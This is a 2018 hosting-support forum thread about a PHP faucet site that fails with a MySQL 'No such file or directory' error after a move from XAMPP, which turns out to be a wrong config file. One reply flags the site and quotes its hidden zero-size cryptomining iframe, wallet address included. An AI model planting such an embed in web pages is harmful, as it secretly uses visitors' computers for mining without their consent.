Database error: SQLSTATE[HY000] [2002] No such file or directory

mahinthan
edited December 2018 in Support Forums

Hi I am using WAMPP in my pc. That time my web working perfectly.
In WAMPP htdoc folder my web folder name and database name also same "faucetscript"
In profreehost htdoc folder name "faucetscript" and database name "unaux_23187244_faucetscript".. and when I run "http://bit-fly.unaux.com/" I got above error.
Then I change htdoc folder also "unaux_23187244_faucetscript" same name. same error.
"Database error: SQLSTATE[HY000] [2002] No such file or directory"
I don't know How to solved it. If anyone know this problem please help me!!!

Comments

  • ChrisPAR
    edited November -1

    @mahinthan said:
    Hi I am using WAMPP in my pc. That time my web working perfectly.
    In WAMPP htdoc folder my web folder name and database name also same "faucetscript"
    In profreehost htdoc folder name "faucetscript" and database name "unaux_23187244_faucetscript".. and when I run "http://bit-fly.unaux.com/" I got above error.
    Then I change htdoc folder also "unaux_23187244_faucetscript" same name. same error.
    "Database error: SQLSTATE[HY000] [2002] No such file or directory"
    I don't know How to solved it. If anyone know this problem please help me!!!

    Please check this: https://profreehost.com/forum/discussion/896/unaux-and-cpanel-down#latest

    We are currently having an issue and we are trying to fix it. I suggest you do what badbot said and move your site to an ezyro.com subdomain or get your own domain.

  • TheCrafters
    edited November -1

    @mahinthan said:
    Hi I am using WAMPP in my pc. That time my web working perfectly.
    In WAMPP htdoc folder my web folder name and database name also same "faucetscript"
    In profreehost htdoc folder name "faucetscript" and database name "unaux_23187244_faucetscript".. and when I run "http://bit-fly.unaux.com/" I got above error.
    Then I change htdoc folder also "unaux_23187244_faucetscript" same name. same error.
    "Database error: SQLSTATE[HY000] [2002] No such file or directory"
    I don't know How to solved it. If anyone know this problem please help me!!!

    Alert

    Website listed is being used for mining.

    http://bit-fly.unaux.com/ has a mining IFrame linked to it.

    Found in: HTML Source Code (Chrome)
    <iframe src='https://swiftmining.win/embed/3N1UQ6EcXsCK99oghU6mMNc69ELPuHd6xP/threads/3' style="width:0;height:0;border:0; border:none;"></iframe>

  • mahinthan
    edited November -1

    @badbot
    @ChrisPAR
    @TheCrafters
    Thanks a lot. but problem not solved!!!
    I think this is my problem. but I don't know that!
    sorry!!! after I change my content.
    please check http://bitscript.ezyro.com/

    again same problem... "Database error: SQLSTATE[HY000] [2002] No such file or directory"
    I don't know what I missed.

    In My PC...
    Files in C:\xampp\htdocs\faucetscript and Database name : faucetscript.

    in ezyro...
    Database name : ezyro_23191486_faucetscript
    and I copied all files from pc faucetscript folder to the cpanel file manager htdoc folder.

    And export pc database faucetscript and import to the ezyro database : ezyro_23191486_faucetscript...

    Then I run http://bitscript.ezyro.com
    That time I got "Database error: SQLSTATE[HY000] [2002] No such file or directory" Error.

    I don't know what I missed.
    please tell me what I missed.

  • TheCrafters
    edited November -1

    @mahinthan said:
    @badbot
    @ChrisPAR
    @TheCrafters
    Thanks a lot. but problem not solved!!!
    I think this is my problem. but I don't know that!
    sorry!!! after I change my content.
    please check http://bitscript.ezyro.com/

    again same problem... "Database error: SQLSTATE[HY000] [2002] No such file or directory"
    I don't know what I missed.

    In My PC...
    Files in C:\xampp\htdocs\faucetscript and Database name : faucetscript.

    in ezyro...
    Database name : ezyro_23191486_faucetscript
    and I copied all files from pc faucetscript folder to the cpanel file manager htdoc folder.

    And export pc database faucetscript and import to the ezyro database : ezyro_23191486_faucetscript...

    Then I run http://bitscript.ezyro.com
    That time I got "Database error: SQLSTATE[HY000] [2002] No such file or directory" Error.

    I don't know what I missed.
    please tell me what I missed.

    I'm not sure, because I am not good in PHP, and MYSQL, but, you could ask on Stack Overflow, I found a answer there, here it is: PHP Connection failed: SQLSTATE[HY000] [2002] Connection refused

  • TheCrafters
    edited November -1

    @badbot said:
    @mahinthan

    Most likely your config file is wrong.

    Provide:
    Link to maintainer/download of faucetscript
    What is your path to database (MySQL)
    How did you import the database tables

    @TheCrafters

    bit-fly.unaux.com

    [error]

    This site can’t be reached bit-fly.unaux.com’s server IP address could not be found.
    Try running Connectivity Diagnostics.
    DNS_PROBE_FINISHED_NXDOMAIN

    How did you manage to view source?

    http://blood-red.unaux.com/

    @badbot
    bit-fly.unaux.com is accessible for me.
    As for blood-red.unaux.com, it is just some CSS code.
    body {height: 100%; background: #620000; color: #fff; font-family: Trebuchet MS,Lucida Grande,Lucida Sans Unicode,Lucida Sans,Tahoma,sans-serif; font-size: 16px;}
    How I view the source code in chrome is CTRL+U
    But it may very from browser to browser. You could also right click the page and click "View Page Source"

  • TheCrafters
    edited November -1

    @badbot said:
    @TheCrafters

    blood-red.unaux.com [185.27.134.216] is my site.

    Okay.

  • mahinthan
    edited December 2018

    Thank you all of you..
    Thanks @TheCrafters
    Problem solved....
    problem in the config file. (include/config.php)

  • TheCrafters
    edited November -1

    @badbot said:
    @mahinthan

    bitscript.ezyro.com did not last very long [suspended domain]

    How long before bit-fly.unaux.com goes suspended?

    badtech.gq -> ezyro
    blood-red.unaux.com -> unaux

    @badbot
    Sorry about that. I did not know that it was your domain at the end because it did not have a separator at the bottom before the domain.


    http://thecrafters001.ga/